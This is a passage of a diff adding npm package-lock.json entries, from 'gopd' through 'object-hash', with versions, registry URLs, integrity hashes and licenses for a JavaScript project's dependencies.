"sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg==", + "dev": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^2.0.2" + }, + "engines": { + "node": ">=16 || 14 >=14.17" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/gopd": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz", + "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/graphql": { + "version": "16.14.1", + "resolved": "https://registry.npmjs.org/graphql/-/graphql-16.14.1.tgz", + "integrity": "sha512-cQOsSMS/IrDz82PVyRDvf/Q1F/bRbBVjJlh+xYOkI1qw2bWRvWGiWc+m2O0d6l4Bt1fyY+8kzJ8JFWGJqNeDBg==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^12.22.0 || ^14.16.0 || ^16.0.0 || >=17.0.0" + } + }, + "node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/has-symbols": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz", + "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-tostringtag": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz", + "integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==", + "dev": true, + "license": "MIT", + "dependencies": { + "has-symbols": "^1.0.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/hasown": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.4.tgz", + "integrity": "sha512-T2UbfbBEF32wiepXIsMlTW9+dDYC6wMh/t/vYA4tuOMKqWz/n3vr1NFSxQiyP+zk2mXsoMA/i/7qV6LKut1t1A==", + "dev": true, + "license": "MIT", + "dependencies": { + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/headers-polyfill": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/headers-polyfill/-/headers-polyfill-5.0.1.tgz", + "integrity": "sha512-1TJ6Fih/b8h5TIcv+1+Hw0PDQWJTKDKzFZzcKOiW1wJza3XoAQlkCuXLbymPYB8+ZQyw8mHvdw560e8zVFIWyA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/set-cookie-parser": "^2.4.10", + "set-cookie-parser": "^3.0.1" + } + }, + "node_modules/html-encoding-sniffer": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-4.0.0.tgz", + "integrity": "sha512-Y22oTqIU4uuPgEemfz7NDJz6OeKf12Lsu+QC+s3BVpda64lTiMYCyGwg5ki4vFxkMwQdeZDl2adZoqUgdFuTgQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "whatwg-encoding": "^3.1.1" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/html-escaper": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/html-escaper/-/html-escaper-2.0.2.tgz", + "integrity": "sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg==", + "dev": true, + "license": "MIT" + }, + "node_modules/http-proxy-agent": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-7.0.2.tgz", + "integrity": "sha512-T1gkAiYYDWYx3V5Bmyu7HcfcvL7mUrTWiM6yOfa3PIphViJ/gFPbvidQ+veqSOHci/PxBcDabeUNCzpOODJZig==", + "dev": true, + "license": "MIT", + "dependencies": { + "agent-base": "^7.1.0", + "debug": "^4.3.4" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/https-proxy-agent": { + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-7.0.6.tgz", + "integrity": "sha512-vK9P5/iUfdl95AI+JVyUuIcVtd4ofvtrOr3HNtM2yxC9bnMbEdp3x01OhQNnjb8IJYi38VlTE3mBXwcfvywuSw==", + "dev": true, + "license": "MIT", + "dependencies": { + "agent-base": "^7.1.2", + "debug": "4" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/iconv-lite": { + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz", + "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==", + "dev": true, + "license": "MIT", + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/indent-string": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz", + "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/is-binary-path": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", + "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", + "dev": true, + "license": "MIT", + "dependencies": { + "binary-extensions": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-core-module": { + "version": "2.16.2", + "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.16.2.tgz", + "integrity": "sha512-evOr8xfXKxE6qSR0hSXL2r3sd7ALj8+7jQEUvPYcm5sgZFdJ+AYzT6yNmJenvIYQBgIGwfwz08sL8zoL7yq2BA==", + "dev": true, + "license": "MIT", + "dependencies": { + "hasown": "^2.0.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/is-glob": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", + "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-extglob": "^2.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-node-process": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/is-node-process/-/is-node-process-1.2.0.tgz", + "integrity": "sha512-Vg4o6/fqPxIjtxgUH5QLJhwZ7gW5diGCVlXpuUfELC62CuxM1iHcRe51f2W1FDy04Ai4KJkagKjx3XaqyfRKXw==", + "dev": true, + "license": "MIT" + }, + "node_modules/is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/is-potential-custom-element-name": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-potential-custom-element-name/-/is-potential-custom-element-name-1.0.1.tgz", + "integrity": "sha512-bCYeRA2rVibKZd+s2625gGnGF/t7DSqDs4dP7CrLA1m7jKWz6pps0LpYLJN8Q64HtmPKJ1hrN3nzPNKFEKOUiQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", + "dev": true, + "license": "ISC" + }, + "node_modules/istanbul-lib-coverage": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/istanbul-lib-coverage/-/istanbul-lib-coverage-3.2.2.tgz", + "integrity": "sha512-O8dpsF+r0WV/8MNRKfnmrtCWhuKjxrq2w+jpzBL5UZKTi2LeVWnWOmWRxFlesJONmc+wLAGvKQZEOanko0LFTg==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=8" + } + }, + "node_modules/istanbul-lib-report": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/istanbul-lib-report/-/istanbul-lib-report-3.0.1.tgz", + "integrity": "sha512-GCfE1mtsHGOELCU8e/Z7YWzpmybrx/+dSTfLrvY8qRmaY6zXTKWn6WQIjaAFw069icm6GVMNkgu0NzI4iPZUNw==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "istanbul-lib-coverage": "^3.0.0", + "make-dir": "^4.0.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/istanbul-lib-source-maps": { + "version": "5.0.6", + "resolved": "https://registry.npmjs.org/istanbul-lib-source-maps/-/istanbul-lib-source-maps-5.0.6.tgz", + "integrity": "sha512-yg2d+Em4KizZC5niWhQaIomgf5WlL4vOOjZ5xGCmF8SnPE/mDWWXgvRExdcpCgh9lLRRa1/fSYp2ymmbJ1pI+A==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "@jridgewell/trace-mapping": "^0.3.23", + "debug": "^4.1.1", + "istanbul-lib-coverage": "^3.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/istanbul-reports": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.2.0.tgz", + "integrity": "sha512-HGYWWS/ehqTV3xN10i23tkPkpH46MLCIMFNCaaKNavAXTF1RkqxawEPtnjnGZ6XKSInBKkiOA5BKS+aZiY3AvA==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "html-escaper": "^2.0.0", + "istanbul-lib-report": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jackspeak": { + "version": "3.4.3", + "resolved": "https://registry.npmjs.org/jackspeak/-/jackspeak-3.4.3.tgz", + "integrity": "sha512-OGlZQpz2yfahA/Rd1Y8Cd9SIEsqvXkLVoSw/cgwhnhFMDbsQFeZYoJJ7bIZBS9BcamUW96asq/npPWugM+RQBw==", + "dev": true, + "license": "BlueOak-1.0.0", + "dependencies": { + "@isaacs/cliui": "^8.0.2" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + }, + "optionalDependencies": { + "@pkgjs/parseargs": "^0.11.0" + } + }, + "node_modules/jiti": { + "version": "1.21.7", + "resolved": "https://registry.npmjs.org/jiti/-/jiti-1.21.7.tgz", + "integrity": "sha512-/imKNG4EbWNrVjoNC/1H5/9GFy+tqjGBHCaSsN+P2RnPqjsLmv6UD3Ej+Kj8nBWaRAwyk7kK5ZUc+OEatnTR3A==", + "dev": true, + "license": "MIT", + "bin": { + "jiti": "bin/jiti.js" + } + }, + "node_modules/js-tokens": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", + "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==", + "license": "MIT" + }, + "node_modules/jsdom": { + "version": "25.0.1", + "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-25.0.1.tgz", + "integrity": "sha512-8i7LzZj7BF8uplX+ZyOlIz86V6TAsSs+np6m1kpW9u0JWi4z/1t+FzcK1aek+ybTnAC4KhBL4uXCNT0wcUIeCw==", + "dev": true, + "license": "MIT", + "dependencies": { + "cssstyle": "^4.1.0", + "data-urls": "^5.0.0", + "decimal.js": "^10.4.3", + "form-data": "^4.0.0", + "html-encoding-sniffer": "^4.0.0", + "http-proxy-agent": "^7.0.2", + "https-proxy-agent": "^7.0.5", + "is-potential-custom-element-name": "^1.0.1", + "nwsapi": "^2.2.12", + "parse5": "^7.1.2", + "rrweb-cssom": "^0.7.1", + "saxes": "^6.0.0", + "symbol-tree": "^3.2.4", + "tough-cookie": "^5.0.0", + "w3c-xmlserializer": "^5.0.0", + "webidl-conversions": "^7.0.0", + "whatwg-encoding": "^3.1.1", + "whatwg-mimetype": "^4.0.0", + "whatwg-url": "^14.0.0", + "ws": "^8.18.0", + "xml-name-validator": "^5.0.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "canvas": "^2.11.2" + }, + "peerDependenciesMeta": { + "canvas": { + "optional": true + } + } + }, + "node_modules/jsesc": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.1.0.tgz", + "integrity": "sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA==", + "dev": true, + "license": "MIT", + "bin": { + "jsesc": "bin/jsesc" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/json5": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz", + "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==", + "dev": true, + "license": "MIT", + "bin": { + "json5": "lib/cli.js" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/lilconfig": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-3.1.3.tgz", + "integrity": "sha512-/vlFKAoH5Cgt3Ie+JLhRbwOsCQePABiU3tJ1egGvyQ+33R/vcwM2Zl2QR/LzjsBeItPt3oSVXapn+m4nQDvpzw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/antonk52" + } + }, + "node_modules/lines-and-columns": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz", + "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==", + "dev": true, + "license": "MIT" + }, + "node_modules/loose-envify": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz", + "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==", + "license": "MIT", + "dependencies": { + "js-tokens": "^3.0.0 || ^4.0.0" + }, + "bin": { + "loose-envify": "cli.js" + } + }, + "node_modules/loupe": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/loupe/-/loupe-3.2.1.tgz", + "integrity": "sha512-CdzqowRJCeLU72bHvWqwRBBlLcMEtIvGrlvef74kMnV2AolS9Y8xUv1I0U/MNAWMhBlKIoyuEgoJ0t/bbwHbLQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/lru-cache": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz", + "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==", + "dev": true, + "license": "ISC", + "dependencies": { + "yallist": "^3.0.2" + } + }, + "node_modules/lucide-react": { + "version": "0.469.0", + "resolved": "https://registry.npmjs.org/lucide-react/-/lucide-react-0.469.0.tgz", + "integrity": "sha512-28vvUnnKQ/dBwiCQtwJw7QauYnE7yd2Cyp4tTTJpvglX4EMpbflcdBgrgToX2j71B3YvugK/NH3BGUk+E/p/Fw==", + "license": "ISC", + "peerDependencies": { + "react": "^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0" + } + }, + "node_modules/lz-string": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/lz-string/-/lz-string-1.5.0.tgz", + "integrity": "sha512-h5bgJWpxJNswbU7qCrV0tIKQCaS3blPDrqKWx+QxzuzL1zGUzij9XCWLrSLsJPu5t+eWA/ycetzYAO5IOMcWAQ==", + "dev": true, + "license": "MIT", + "peer": true, + "bin": { + "lz-string": "bin/bin.js" + } + }, + "node_modules/magic-string": { + "version": "0.30.21", + "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.30.21.tgz", + "integrity": "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/sourcemap-codec": "^1.5.5" + } + }, + "node_modules/magicast": { + "version": "0.3.5", + "resolved": "https://registry.npmjs.org/magicast/-/magicast-0.3.5.tgz", + "integrity": "sha512-L0WhttDl+2BOsybvEOLK7fW3UA0OQ0IQ2d6Zl2x/a6vVRs3bAY0ECOSHHeL5jD+SbOpOCUEi0y1DgHEn9Qn1AQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.25.4", + "@babel/types": "^7.25.4", + "source-map-js": "^1.2.0" + } + }, + "node_modules/make-dir": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-4.0.0.tgz", + "integrity": "sha512-hXdUTZYIVOt1Ex//jAQi+wTZZpUpwBj/0QsOzqegb3rGMMeJiSEu5xLHnYfBrRV4RH2+OCSOO95Is/7x1WJ4bw==", + "dev": true, + "license": "MIT", + "dependencies": { + "semver": "^7.5.3" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/make-dir/node_modules/semver": { + "version": "7.8.2", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.8.2.tgz", + "integrity": "sha512-c8jsqUZm3omBOI66G90z1Dyw5z622G8oLG+omfsHBJf3CWQTlOcwOjvOG6wtiNfW6anKm/eA39LMwMtMez2TiQ==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/math-intrinsics": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz", + "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/merge2": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", + "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 8" + } + }, + "node_modules/micromatch": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.8.tgz", + "integrity": "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==", + "dev": true, + "license": "MIT", + "dependencies": { + "braces": "^3.0.3", + "picomatch": "^2.3.1" + }, + "engines": { + "node": ">=8.6" + } + }, + "node_modules/mime-db": { + "version": "1.52.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "dev": true, + "license": "MIT", + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/min-indent": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/min-indent/-/min-indent-1.0.1.tgz", + "integrity": "sha512-I9jwMn07Sy/IwOj3zVkVik2JTvgpaykDZEigL6Rx6N9LbMywwUSMtxET+7lVoDLLd3O3IXwJwvuuns8UB/HeAg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/minimatch": { + "version": "10.2.5", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-10.2.5.tgz", + "integrity": "sha512-MULkVLfKGYDFYejP07QOurDLLQpcjk7Fw+7jXS2R2czRQzR56yHRveU5NDJEOviH+hETZKSkIk5c+T23GjFUMg==", + "dev": true, + "license": "BlueOak-1.0.0", + "dependencies": { + "brace-expansion": "^5.0.5" + }, + "engines": { + "node": "18 || 20 || >=22" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/minipass": { + "version": "7.1.3", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.1.3.tgz", + "integrity": "sha512-tEBHqDnIoM/1rXME1zgka9g6Q2lcoCkxHLuc7ODJ5BxbP5d4c2Z5cGgtXAku59200Cx7diuHTOYfSBD8n6mm8A==", + "dev": true, + "license": "BlueOak-1.0.0", + "engines": { + "node": ">=16 || 14 >=14.17" + } + }, + "node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "dev": true, + "license": "MIT" + }, + "node_modules/msw": { + "version": "2.14.6", + "resolved": "https://registry.npmjs.org/msw/-/msw-2.14.6.tgz", + "integrity": "sha512-ALe+N10S72cyx94cMcy3Zs4HhXCj35sgeAL4c+WTvKi0zWnbd8/h0lcFqv0mb2P+aSgAdD7p9HzvA0DiUPxsyg==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "dependencies": { + "@inquirer/confirm": "^6.0.11", + "@mswjs/interceptors": "^0.41.3", + "@open-draft/deferred-promise": "^3.0.0", + "@types/statuses": "^2.0.6", + "cookie": "^1.1.1", + "graphql": "^16.13.2", + "headers-polyfill": "^5.0.1", + "is-node-process": "^1.2.0", + "outvariant": "^1.4.3", + "path-to-regexp": "^6.3.0", + "picocolors": "^1.1.1", + "rettime": "^0.11.11", + "statuses": "^2.0.2", + "strict-event-emitter": "^0.5.1", + "tough-cookie": "^6.0.1", + "type-fest": "^5.5.0", + "until-async": "^3.0.2", + "yargs": "^17.7.2" + }, + "bin": { + "msw": "cli/index.js" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/mswjs" + }, + "peerDependencies": { + "typescript": ">= 4.8.x" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/msw/node_modules/tldts": { + "version": "7.4.2", + "resolved": "https://registry.npmjs.org/tldts/-/tldts-7.4.2.tgz", + "integrity": "sha512-kCwffuaH8ntKtygnWe1b4BJKWiCUH30n5KfoTr6IchcXOwR7chAOFJxFrH3vjANafUYrIA4a7SDL+nn7SiR4Sw==", + "dev": true, + "license": "MIT", + "dependencies": { + "tldts-core": "^7.4.2" + }, + "bin": { + "tldts": "bin/cli.js" + } + }, + "node_modules/msw/node_modules/tldts-core": { + "version": "7.4.2", + "resolved": "https://registry.npmjs.org/tldts-core/-/tldts-core-7.4.2.tgz", + "integrity": "sha512-nwEyF4vl4RSJjwSjBUmOSxc3BFPoIFdlRthJ6e+5v9P3bHNsoD06UjuqMUspqp7vsEZ1beaHi1km+optiE17yA==", + "dev": true, + "license": "MIT" + }, + "node_modules/msw/node_modules/tough-cookie": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-6.0.1.tgz", + "integrity": "sha512-LktZQb3IeoUWB9lqR5EWTHgW/VTITCXg4D21M+lvybRVdylLrRMnqaIONLVb5mav8vM19m44HIcGq4qASeu2Qw==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "tldts": "^7.0.5" + }, + "engines": { + "node": ">=16" + } + }, + "node_modules/mute-stream": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/mute-stream/-/mute-stream-3.0.0.tgz", + "integrity": "sha512-dkEJPVvun4FryqBmZ5KhDo0K9iDXAwn08tMLDinNdRBNPcYEDiWYysLcc6k3mjTMlbP9KyylvRpd4wFtwrT9rw==", + "dev": true, + "license": "ISC", + "engines": { + "node": "^20.17.0 || >=22.9.0" + } + }, + "node_modules/mz": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/mz/-/mz-2.7.0.tgz", + "integrity": "sha512-z81GNO7nnYMEhrGh9LeymoE4+Yr0Wn5McHIZMK5cfQCl+NDX08sCZgUc9/6MHni9IWuFLm1Z3HTCXu2z9fN62Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "any-promise": "^1.0.0", + "object-assign": "^4.0.1", + "thenify-all": "^1.0.0" + } + }, + "node_modules/nanoid": { + "version": "3.3.12", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.12.tgz", + "integrity": "sha512-ZB9RH/39qpq5Vu6Y+NmUaFhQR6pp+M2Xt76XBnEwDaGcVAqhlvxrl3B2bKS5D3NH3QR76v3aSrKaF/Kiy7lEtQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "bin": { + "nanoid": "bin/nanoid.cjs" + }, + "engines": { + "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" + } + }, + "node_modules/node-releases": { + "version": "2.0.47", + "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.47.tgz", + "integrity": "sha512-Uzmd6LXpouKo8EUK68IjH4+E01w/hXyV3R3g/geCJo+rXLNfh1xucB+LOzYEOQPSiUK3h/xZf0cQGcSsmyL2Og==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + } + }, + "node_modules/normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/nwsapi": { + "version": "2.2.24", + "resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.24.tgz", + "integrity": "sha512-7YRhZ3jS45LwmSCT4b2sVFHt/WuovaktDU07QrtOBY2PXskss5a9jfmR9jptyumwXST+rFjrmppMY1KT/yn35A==", + "dev": true, + "license": "MIT" + }, + "node_modules/object-assign": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", + "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object-hash": { + "version": "3.0.0", + "resolved": 